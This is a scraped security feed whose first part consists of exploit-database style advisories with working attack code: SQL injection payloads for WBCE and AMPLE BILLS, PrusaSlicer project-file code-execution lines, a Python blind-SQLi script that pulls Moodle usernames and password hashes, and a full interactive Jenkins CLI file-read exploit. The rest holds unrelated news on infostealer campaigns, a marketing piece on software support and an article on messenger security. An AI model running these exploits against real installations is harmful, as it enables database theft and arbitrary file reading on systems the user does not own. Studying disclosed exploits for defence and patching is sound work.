WBCE version 1.6.0 suffers from a remote SQL injection vulnerability.

# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0  
# Date: 15.11.2023   
# Exploit Author: young pope   
# Vendor Homepage: https://github.com/WBCE/WBCE_CMS   
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip   
# Version: 1.6.0   
# Tested on: Kali linux   
# CVE : CVE-2023-39796

There is an sql injection vulnerability in *miniform* module which is a   
default module installed in the *WBCE* cms. It is an unauthenticated   
sqli so anyone could access it and takeover the whole database.

In file /modules/miniform/ajax_delete_message.php there is no   
authentication check. On line |40| in this file, there is a |DELETE|   
query that is vulnerable, an attacker could jump from the query using   
tick sign - ```.

Function |addslashes()|   
(https://www.php.net/manual/en/function.addslashes.php) escapes only   
these characters and not a tick sign:

  * single quote (')  
  * double quote (")  
  * backslash ()  
  * NUL (the NUL byte

The DB_RECORD_TABLE parameter is vulnerable.

If an unauthenticated attacker send this request:

```

POST /modules/miniform/ajax_delete_message.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML,   
like Gecko) Chrome/36.0.1985.125 Safari/537.36  
Connection: close  
Content-Length: 162  
Accept: */*  
Accept-Language: en  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate

action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record

```

The response is received after 6s.

Reference links:

  * https://nvd.nist.gov/vuln/detail/CVE-2023-39796  
  * https://forum.wbce.org/viewtopic.php?pid=42046#p42046  
  * https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1  
  * https://pastebin.com/PBw5AvGp

WBCE 1.6.0 SQL Injection

AMPLE BILLS version 0.1 suffers from a remote SQL injection vulnerability.

    ## Title: AMPLE BILLS 0.1 Multiple-SQLi## Author: nu11secur1ty## Date: 04/13/2024## Vendor: https://www.mayurik.com/## Software: https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The customer parameter (#1*) appears to be vulnerable to SQL injectionattacks. The payload (select*from(select(sleep(20)))a) was submittedin the customer parameter. The application took 20017 milliseconds torespond to the request, compared with 4 milliseconds for the originalrequest, indicating that the injected SQL command caused a time delay.The database appears to be MySQL. The attacker can get all informationfrom the system by using this vulnerability!STATUS: HIGH- Vulnerability[+]Payload:```mysql---Parameter: #1* ((custom) POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)    Payload: customer=(-2876) OR5249=5249#from(select(sleep(20)))a)&issuedate=03/15/2024 - 04/13/2024    Type: UNION query    Title: MySQL UNION query (random number) - 1 column    Payload: customer=(-8147) UNION ALL SELECTCONCAT(0x7178627671,0x456d507450425279564f614b766957634d464a6c63536e6f63464953467254446171427a754e5769,0x7176626271),7839,7839,7839,7839#from(select(sleep(20)))a)&issuedate=03/15/2024- 04/13/2024---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/AMPLE-BILLS-0.1)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/04/ample-bills-01-multiple-sqli.html)## Time spent:01:15:00

AMPLE BILLS 0.1 SQL injection

PrusaSlicer versions 2.6.1 and below suffer from an arbitrary code execution vulnerability.

    # Exploit Title: PrusaSlicer 2.6.1 - Arbitrary code execution on g-code export# Date: 16/01/2024# Exploit Author: Kamil Breński# Vendor Homepage: https://www.prusa3d.com# Software Link: https://github.com/prusa3d/PrusaSlicer# Version: PrusaSlicer up to and including version 2.6.1# Tested on: Windows and Linux# CVE: CVE-2023-47268==========================================================================================1.) 3mf Metadata extension==========================================================================================PrusaSlicer 3mf project (zip) archives contain the 'Metadata/Slic3r_PE.config' file which describe various project settings, this is an extension to the regular 3mf file. PrusaSlicer parses this additional file to read various project settings. One of the settings (post_process) is the post-processing script (https://help.prusa3d.com/article/post-processing-scripts_283913) this feature has great potential for abuse as it allows a malicious user to create an evil 3mf project that will execute arbitrary code when the targeted user exports g-code from the malicious project. A project file needs to be modified with a prost process script setting in order to execute arbitrary code, this is demonstrated on both a Windows and Linux host in the following way.==========================================================================================2.) PoC==========================================================================================For the linux PoC, this CLI command is enough to execute the payload contained in the project. './prusa-slicer -s code-exec-linux.3mf'. After slicing, a new file '/tmp/hax' will be created. This particular PoC contains this 'post_process' entry in the 'Slic3r_PE.config' file:```; post_process = "/usr/bin/id > /tmp/hax #\necho 'Here I am, executing arbitrary code on this host. Thanks for slicing (x_x)'>> /tmp/hax #"```Just slicing the 3mf using the `-s` flag is enough to start executing potentially malicious code.For the windows PoC with GUI, the malicious 3mf file needs to be opened as a project file (or the settings imported). After exporting, a pop-up executed by the payload will appear. The windows PoC contains this entry:```; post_process = "C:\\Windows\\System32\\cmd.exe /c msg %username% Here I am, executing arbitrary code on this host. Thanks for slicing (x_x) "```

PrusaSlicer 2.6.1 Arbitrary Code Execution

Moodle version 3.10.1 suffers from a remote time-based SQL injection vulnerability.

    # Exploit Title: Moodle Authenticated Time-Based Blind SQL Injection - "sort" Parameter# Google Dork: # Date: 04/11/2023# Exploit Author: Julio Ángel Ferrari (Aka. T0X1Cx)# Vendor Homepage: https://moodle.org/# Software Link: # Version: 3.10.1# Tested on: Linux# CVE : CVE-2021-36393import requestsimport stringfrom termcolor import colored# Request detailsURL = "http://127.0.0.1:8080/moodle/lib/ajax/service.php?sesskey=ZT0E6J0xWe&info=core_course_get_enrolled_courses_by_timeline_classification"HEADERS = {    "Accept": "application/json, text/javascript, */*; q=0.01",    "Content-Type": "application/json",    "X-Requested-With": "XMLHttpRequest",    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36",    "Origin": "http://127.0.0.1:8080",    "Referer": "http://127.0.0.1:8080/moodle/my/",    "Accept-Encoding": "gzip, deflate",    "Accept-Language": "en-US,en;q=0.9",    "Cookie": "MoodleSession=5b1rk2pfdpbcq2i5hmmern1os0",    "Connection": "close"}# Characters to testcharacters_to_test = string.ascii_lowercase + string.ascii_uppercase + string.digits + "!@#$^&*()-_=+[]{}|;:'\",.<>?/"def test_character(payload):    response = requests.post(URL, headers=HEADERS, json=[payload])    return response.elapsed.total_seconds() >= 3def extract_value(column, label):    base_payload = {        "index": 0,        "methodname": "core_course_get_enrolled_courses_by_timeline_classification",        "args": {            "offset": 0,            "limit": 0,            "classification": "all",            "sort": "",            "customfieldname": "",            "customfieldvalue": ""        }    }    result = ""    for _ in range(50):  # Assumes a maximum of 50 characters for the value        character_found = False        for character in characters_to_test:            if column == "database()":                base_payload["args"]["sort"] = f"fullname OR (database()) LIKE '{result + character}%' AND SLEEP(3)"            else:                base_payload["args"]["sort"] = f"fullname OR (SELECT {column} FROM mdl_user LIMIT 1 OFFSET 0) LIKE '{result + character}%' AND SLEEP(3)"                        if test_character(base_payload):                result += character                print(colored(f"{label}: {result}", 'red'), end="\r")                character_found = True                break        if not character_found:            break    # Print the final result    print(colored(f"{label}: {result}", 'red'))if __name__ == "__main__":    extract_value("database()", "Database")    extract_value("username", "Username")    extract_value("password", "Password")

Moodle 3.10.1 SQL Injection

Django REST Framework SimpleJWT versions 5.3.1 and below suffer from an information disclosure vulnerability.

    # Exploit Title: djangorestframework-simplejwt 5.3.1 - Information Disclosure# Date: 26/01/2024# Exploit Author: Dhrumil Mistry (dmdhrumilmistry)# Vendor Homepage: https://github.com/jazzband/djangorestframework-simplejwt/# Software Link:https://github.com/jazzband/djangorestframework-simplejwt/releases/tag/v5.3.1# Version: <= 5.3.1# Tested on: MacOS# CVE : CVE-2024-22513# The version of djangorestframework-simplejwt up to 5.3.1 is vulnerable.# This vulnerability has the potential to cause various security issues,# including Business Object Level Authorization (BOLA), Business Function# Level Authorization (BFLA), Information Disclosure, etc. The vulnerability# arises from the fact that a user can access web application resources even# after their account has been disabled, primarily due to the absence of proper# user validation checks.# If a programmer generates a JWT token for an inactive user using`AccessToken`# class and `for_user` method then a JWT token is returned which canbe used for# authentication across the django and django rest framework application.# Start Django Shell using below command:# python manage.py shell# ----------------------------------------# Create inactive user and generate token for the userfrom django.contrib.auth.models import Userfrom rest_framework_simplejwt.tokens import AccessToken# create inactive userinactive_user_id = User.objects.create_user('testuser','test@example.com', 'testPassw0rd!', is_active=False).id# django application programmer generates token for the inactive userAccessToken.for_user(User.objects.get(id=inactive_user_id))  # errorshould be raised since user is inactive# django application verifying user tokenAccessToken.for_user(User.objects.get(id=inactive_user_id)).verify() #no exception is raised during verification of inactive user token

Django REST Framework SimpleJWT 5.3.1 Information Disclosure

Jenkins version 2.441 suffers from a local file inclusion vulnerability.

# Exploit Title: Jenkins 2.441 - Local File Inclusion  
# Date: 14/04/2024  
# Exploit Author: Matisse Beckandt (Backendt)  
# Vendor Homepage: https://www.jenkins.io/  
# Software Link: https://github.com/jenkinsci/jenkins/archive/refs/tags/jenkins-2.441.zip  
# Version: 2.441  
# Tested on: Debian 12 (Bookworm)  
# CVE: CVE-2024-23897

from argparse import ArgumentParser  
from requests import Session, post, exceptions  
from threading import Thread  
from uuid import uuid4  
from time import sleep  
from re import findall

class Exploit(Thread):  
  def __init__(self, url: str, identifier: str):  
    Thread.__init__(self)  
    self.daemon = True  
    self.url = url  
    self.params = {"remoting": "false"}  
    self.identifier = identifier  
    self.stop_thread = False  
    self.listen = False

  def run(self):  
    while not self.stop_thread:  
      if self.listen:  
        self.listen_and_print()

  def stop(self):  
    self.stop_thread = True

  def receive_next_message(self):  
    self.listen = True

  def wait_for_message(self):  
    while self.listen:  
      sleep(0.5)

  def print_formatted_output(self, output: str):  
    if "ERROR: No such file" in output:  
      print("File not found.")  
    elif "ERROR: Failed to parse" in output:  
      print("Could not read file.")

    expression = "No such agent \"(.*)\" exists."  
    results = findall(expression, output)  
    print("\n".join(results))

  def listen_and_print(self):  
    session = Session()  
    headers = {"Side": "download", "Session": self.identifier}  
    try:  
      response = session.post(self.url, params=self.params, headers=headers)  
    except (exceptions.ConnectTimeout, exceptions.ConnectionError):  
      print("Could not connect to target to setup the listener.")  
      exit(1)

    self.print_formatted_output(response.text)  
    self.listen = False

  def send_file_request(self, filepath: str):  
    headers = {"Side": "upload", "Session": self.identifier}  
    payload = get_payload(filepath)  
    try:  
      post(self.url, data=payload, params=self.params, headers=headers, timeout=4)  
    except (exceptions.ConnectTimeout, exceptions.ConnectionError):  
      print("Could not connect to the target to send the request.")  
      exit(1)

  def read_file(self, filepath: str):  
    self.receive_next_message()  
    sleep(0.1)  
    self.send_file_request(filepath)  
    self.wait_for_message()

def get_payload_message(operation_index: int, text: str) -> bytes:  
  text_bytes = bytes(text, "utf-8")  
  text_size = len(text_bytes)  
  text_message = text_size.to_bytes(2) + text_bytes  
  message_size = len(text_message)

  payload = message_size.to_bytes(4) + operation_index.to_bytes(1) + text_message  
  return payload

def get_payload(filepath: str) -> bytes:  
  arg_operation = 0  
  start_operation = 3

  command = get_payload_message(arg_operation, "connect-node")  
  poisoned_argument = get_payload_message(arg_operation, f"@{filepath}")

  payload = command + poisoned_argument + start_operation.to_bytes(1)  
  return payload

def start_interactive_file_read(exploit: Exploit):  
  print("Press Ctrl+C to exit")  
  while True:  
    filepath = input("File to download:\n> ")  
    filepath = make_path_absolute(filepath)  
    exploit.receive_next_message()

    try:  
      exploit.read_file(filepath)  
    except exceptions.ReadTimeout:  
      print("Payload request timed out.")

def make_path_absolute(filepath: str) -> str:  
    if not filepath.startswith('/'):  
      return f"/proc/self/cwd/{filepath}"  
    return filepath

def format_target_url(url: str) -> str:  
  if url.endswith('/'):  
    url = url[:-1]  
  return f"{url}/cli"

def get_arguments():  
  parser = ArgumentParser(description="Local File Inclusion exploit for CVE-2024-23897")  
  parser.add_argument("-u", "--url", required=True, help="The url of the vulnerable Jenkins service. Ex: http://helloworld.com/")  
  parser.add_argument("-p", "--path", help="The absolute path of the file to download")  
  return parser.parse_args()

def main():  
  args = get_arguments()  
  url = format_target_url(args.url)  
  filepath = args.path  
  identifier = str(uuid4())

  exploit = Exploit(url, identifier)  
  exploit.start()

  if filepath:  
    filepath = make_path_absolute(filepath)  
    exploit.read_file(filepath)  
    exploit.stop()  
    return

  try:  
    start_interactive_file_read(exploit)  
  except KeyboardInterrupt:  
    pass  
  print("\nQuitting")  
  exploit.stop()

if __name__ == "__main__":  
  main()

Jenkins 2.441 Local File Inclusion

A Russian-language cyberattack campaign impersonates legitimate game operations to spread various cross-platform infostealers.

Source: Stockphoto Graph via Shutterstock

A Russian threat actor is peppering game developers with fraudulent Web3 gaming projects that drop multiple variants of infostealers on both MacOS and Windows devices.

The ultimate goal of the campaign appears to be defrauding victims and stealing their cryptocurrency wallets, according to Recorded Future's Insikt Group, which discovered the malicious activity.

The extensive Russian-language campaign mimics legitimate projects by using slight alterations in project names and branding — even going so far as to have multiple fake social-media accounts impersonating the projects to make them seem authentic, according to a report published online.

In the attack, the main webpage of a project offers or links to installation files for the purported "game" software, ostensibly for use by developers. However, these files instead deliver either Atomic macOS Stealer for Intel- or ARM-based devices; Rhadamanthys; or RisePro, depending on the victim's operating system.

"The targeted nature of this campaign suggests that threat actors may perceive Web3 gamers as having a more acute vulnerability to social engineering, due to an assumed trade-off in cyber hygiene — meaning that Web3 gamers may have fewer protections in place against cybercrime — in the pursuit of profit," according to the report.

That profit comes in the form of cryptocurrency, as the actor is primarily targeting developers' crypto wallets with the intent of compromising those wallets. Web3 gaming refers to online games such as Axie Infinity and MixMob that are built on blockchain technology, which can result in financial gain for players who earn various cryptocurrencies.

"As wallet compromise continues to be the biggest threat in both Web3 and cryptocurrency security … we assess that wallet compromise is likely the end goal of this campaign," according to Insikt Group. Attackers also can use credentials harvested from the malicious activity "for an array of unauthorized account accesses," according to the report.

Indeed, the report outlines several social media reports of game developers falling victim to the scam and having their crypto wallets drained, including one who lost about 2.5 Ethereum, or about $8,000.

**Setting a Trap Through Impersonation**

The attack campaign comes in the form of what's called "trap phishing," whereby malicious actors duplicate and deploy Web3 project lookalikes.

Insikt researchers began investigating the malicious activity after Web3 smart contract auditor CertiK described a project in January called Astration that used fake job openings and non-fungible token NFT offerings to lure game developers into a trap-phishing campaign that spread infostealers.

The fraudulent project duplicated and recreated nearly all of the social media accounts associated with a legit project called Alteration, including reposting social-media content from legitimate accounts, establishing a direct copy of the project's Discord server, and delivering two types of malware.

Upon further research, Insikt found five additional fraudulent gaming projects, three of which were serving malicious files communicating with the same command-and-control (C2) server as those obtained from the Astration project, as well as two that were no longer active but were found to be similar to the active scams. Purported game names associated with the active projects were ArgonGame, DustFighter, and CosmicWay Reboot, while games associated with the inactive projects were Crypterium World and Myth Island.

Overall, the threat actors are delivering the campaign via "a resilient infrastructure, allowing them to quickly adapt by rebranding or shifting focus upon detection," according to Insikt.

**Maintain Vigilance to Mitigate Risk**

Insikt highlighted the necessity for both individuals and organizations to maintain continuous vigilance against threats and adopt mitigation strategies against campaigns that use phishing as an initial entry point. To that end, the group offered a number of mitigations in its report as well as included a list of indicators of compromise.

One is to provide comprehensive training to users — especially those involved in Web3 gaming or related industries — to recognize social engineering tactics associated with trap phishing. Game developers in particular should "scrutinize the legitimacy of Web3 projects advertised on social media," according to the report.

Organizations also should educate users on the well-known risks associated with downloading software from unverified sources and the importance of verifying the authenticity of project websites before installation.

Endpoint protection solutions updated with the latest threat intelligence — such as antivirus software that are capable of detecting and blocking known infostealer variants like Atomic, Stealc, Rhadamanthys, and RisePro — also can help organizations avoid compromise.

Organizations should also deploy multi-platform security measures to protect against malware infections across both macOS and Windows devices, including firewalls, intrusion detection systems, and endpoint detection and response (EDR) solutions, according to Insikt.

**About the Author(s)**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Web3 Game Developers Targeted in Crypto Theft Scheme

By Owais Sultan
Explore the significance of software support in the fast-paced digital world. Discover how continuous maintenance, bug fixing, feature enhancement, and integration management optimize operations. With expert assistance, enhance security, ensure project continuity, and improve processes for operational excellence
This is a post from HackRead.com Read the original post: Software Support: 7 Essential Reasons You Can’t Overlook

Software technology is driving innovation in the fast-changing digital world. Companies worldwide need excellent software support to achieve operational excellence and competitive differentiation. Agile software solutions enhance operations and help firms adapt to market changes.

Modern organizations require skilled software assistance to manage their complex processes and provide seamless operational flows, data integrity, and an employee- and customer-friendly interface. The predictive maintenance software sector is expected to reach $18,551 million by 2028, according to Fortune Business Insights (2023). Here, digital solutions are being used to streamline operations and reduce costly downtime.

****The Significance of Software Maintenance****

The importance of maintenance and support software are highlighted below:

1.  Continuous Maintenance. To keep up with the ever-evolving technical and commercial environments, software, like any other operational aspect, requires continuous maintenance. To keep the program running smoothly and free of errors, performance concerns, and out-of-date features, regular maintenance is essential.

2.  **Eliminating Bugs:** Fixing bugs is an important part of software maintenance. Finding and fixing bugs in code, hardware, or the operating system without disrupting current functionality is what it’s all about. For the program to function properly and provide the promised benefit, this step is critical.

3.  **Enhancing Capabilities**: Keeping software up-to-date with new features and functionalities keeps it compatible with changing market conditions. Improving platforms and other process components is possible. Businesses may stay ahead by enhancing their skills. 

4.  **Eliminating Obsolete Features:** Some features get stale and may reduce program performance as time goes on. Software needs to update old features with new, modern ones using the latest tools and technologies to stay useful and efficient.

5.  **Enhancing Performance**: The cornerstone of enhancing system performance is implementing regular testing and resolving issues. These activities include data restructuring and coding to safeguard the application against vulnerabilities and hackers.

6.  **Integration Management:** Integration of third-party applications is common in modern software. The entire performance and stability of the product depends on these integrations working as intended, particularly following software changes.

7.  **Efficiency in spending:** Good software support reduces costs by preventing problems and improves how well a business runs, positively affecting profits.

****Software Maintenance and Support: More Than Just the Essentials****

While regular software maintenance is essential for the program’s proper functioning, there are other benefits to investing in maintenance and support:

*   Software maintenance helps keep your company secure from ever-changing cyber threats by applying security patches and updates regularly. It makes your data safer. This is of utmost importance in the modern era that is driven by data.
*   Made sure your project wouldn’t end: Disruption to corporate operations may occur as a result of unforeseen software failures. Proactive maintenance helps keep your project on time and minimizes downtime.

*   Time is saved by mature processes: In order to fix problems and install upgrades effectively, seasoned software maintenance teams have developed procedures. Your company’s internal IT resources may then be reallocated to other strategic endeavours.
*   Improving software maintenance makes adding new features simpler and cheaper, reducing update costs and time.
*   Continuous support and technical assistance from software maintenance firms prepare you for any challenges with a team of professionals.

Software maintenance may improve technology, customer service, competitiveness, and operational excellence for enterprises.

****Recap****

Strong software support for the evolving business world. Additionally, it offers various support channels like technical help and live chat customer service. This support is crucial for operational success, staying ahead of competitors, ensuring smooth user experiences, protecting data, maintaining projects, saving time, reducing costs, and solving problems with expert help.

1.  What Is Incident Management Software?
2.  Top Software Development Outsourcing Trends
3.  AI Assistants: Breakthroughs in Software Development
4.  Integrating Pay-Per-Minute Chat Software in Customer Service
5.  Exploring Software Categories: From Basics to Specialized Apps

Software Support: 7 Essential Reasons You Can’t Overlook

Imagine a world where the software that powers your favorite apps, secures your online transactions, and keeps your digital life could be outsmarted and taken over by a cleverly disguised piece of code. This isn't a plot from the latest cyber-thriller; it's actually been a reality for years now. How this will change – in a positive or negative direction – as artificial intelligence (AI) takes on

AI Copilot: Launching Innovation Rockets, But Beware of the Darkness Ahead

By Uzair Amir
Worried about prying eyes? We explain how messenger apps keep your chats confidential with features like encryption & multi-factor authentication.  Learn about security risks & emerging technologies for a safer digital future.
This is a post from HackRead.com Read the original post: Texting Secrets: How Messenger Apps Guard Your Chats

In today’s digital age, conversations are more online than face-to-face; hence, we must be careful with our messages. The widely used **messenger applications** designed for modern communication have advanced greatly in ensuring that our chat remains confidential. However, what measures are taken by such systems to keep our conversations safe from any malicious activity?

****End-to-End Encryption****

This security measure ensures that messages are decrypted only by the intended users. With end-to-end encryption, decryption is only possible by the receiver – the third party cannot intercept or **eavesdrop on the message**.

WhatsApp and Telegram are some chat applications that employ this encryption to secure user chat. Encryption of messages occurs “at the end” with the sender, and it can only be decrypted when it reaches the intended receiver “at the other end”; therefore creating a problem even for the messaging companies that would wish to decrypt and read the messages.

****Security Measures Beyond Encryption****

*   **Two-Factor Authentication (2FA):** To improve security, two-factor authentication requires users to enter a code that is sent to their mobile phone apart from the usual login details. This makes it much safer against unauthorized hackers when passwords get stolen to send **messenger hacked** links and gain access to sensitive accounts.
*   **Biometric Authentication:** Messenger applications can benefit from convenient and safe biometric authentication options like fingerprint and facial recognition. Through the use of individual biological attributes, it guarantees that only the authorized user can unlock their conversations.
*   **Secure Messaging Protocols:** Messenger applications are built on secure messaging protocols (like the Signal Protocol or the Off-the-Record Messaging protocol), enabling encrypted communication channels among different individuals. These protocols ensure that the message remains private even during any attack on the network.

****Challenges and Vulnerabilities********Phishing Attacks****

The security of messenger apps is still seriously threatened by **phishing attacks** when cybercriminals make efforts to deceive people and disclose their login details as well as other important data. Mitigation of this risk requires education as well as awareness about phishing techniques.

**Messenger app security** is also at risk from social engineering tactics like impersonation or manipulation. People must stay alert and suspicious of any odd messages or friend requests coming from unfamiliar ones; rather, they must confirm that the sender is who they claim to be before giving out any confidential data.

****Device Security Risks****

Messenger app communication may be unsafe due to weaknesses in device security, such as malware or **insecure Wi-Fi networks**. To prevent this, it is important to have regular software updates, antivirus software and secure network connections.

****Emerging Technologies in Chat Security****

*   **Quantum Cryptography:** Quantum mechanics is used in quantum cryptography to ensure that data is stored in quantum states, resulting in high levels of safety. Although it is still being considered as an attempt, quantum cryptography provides a potential solution to secure messaging encryption.
*   **Blockchain-Based Messaging Platforms:** With blockchain technology, it becomes possible to have messaging systems which do not centralize message data but rather store it across a distributed network, making it almost impossible for someone to corrupt or prevent certain messages from passing through. The **blockchain messaging applications** enhance safety as well as confidentiality through open and unchangeable message logs.
*   **AI-Powered Threat Detection:** In messenger applications today, there is a growing trend of utilizing artificial intelligence as well as machine learning algorithms to identify and deal with security threats. These systems analyze user activities, messages exchanged, as well as network flow metadata to detect, prevent and respond immediately to any breaches of security.

****Balancing Security and Usability****

Although it is important to have strong security systems, messenger applications need to balance between security and ease of use to be convenient. The flow of messages must not be disrupted, and there should be no negative impact on user experience as a result of complicated security protocols.

****The Future of Secure Messaging****

The landscape of chat security will change with advancing technology. The security of messenger applications will be improved by developments in **encryption algorithms**, authentication mechanisms, and threat detection technologies to guarantee that our conversations remain confidential and safe within cyberspace.

To promote secure communication, it is crucial to educate people on how they can stay safe and why privacy matters. Messaging platforms take part in user awareness programs that emphasize risks posed by hackers and promote preventative security steps.

The security of our conversations is very important at a time when digital communication is dominant. Many security features are used by messaging applications such as end-to-end encryption, biometric authentication, etc., to protect our conversations against any threats.

Nonetheless, the pace at which cyber threats change and develop means that new forms of securing chats must be continuously created. To achieve this, we have to keep on guard and adopt new technologies so that our conversations will stay private and safe.

1.  Zama Secures $73M Series A Lead for Homomorphic Encryption
2.  WhatsApp Encryption Explained — “Everything is not what it seems”
3.  Encrypted Email Service ProtonMail Supports Physical Security Keys

Tag

#git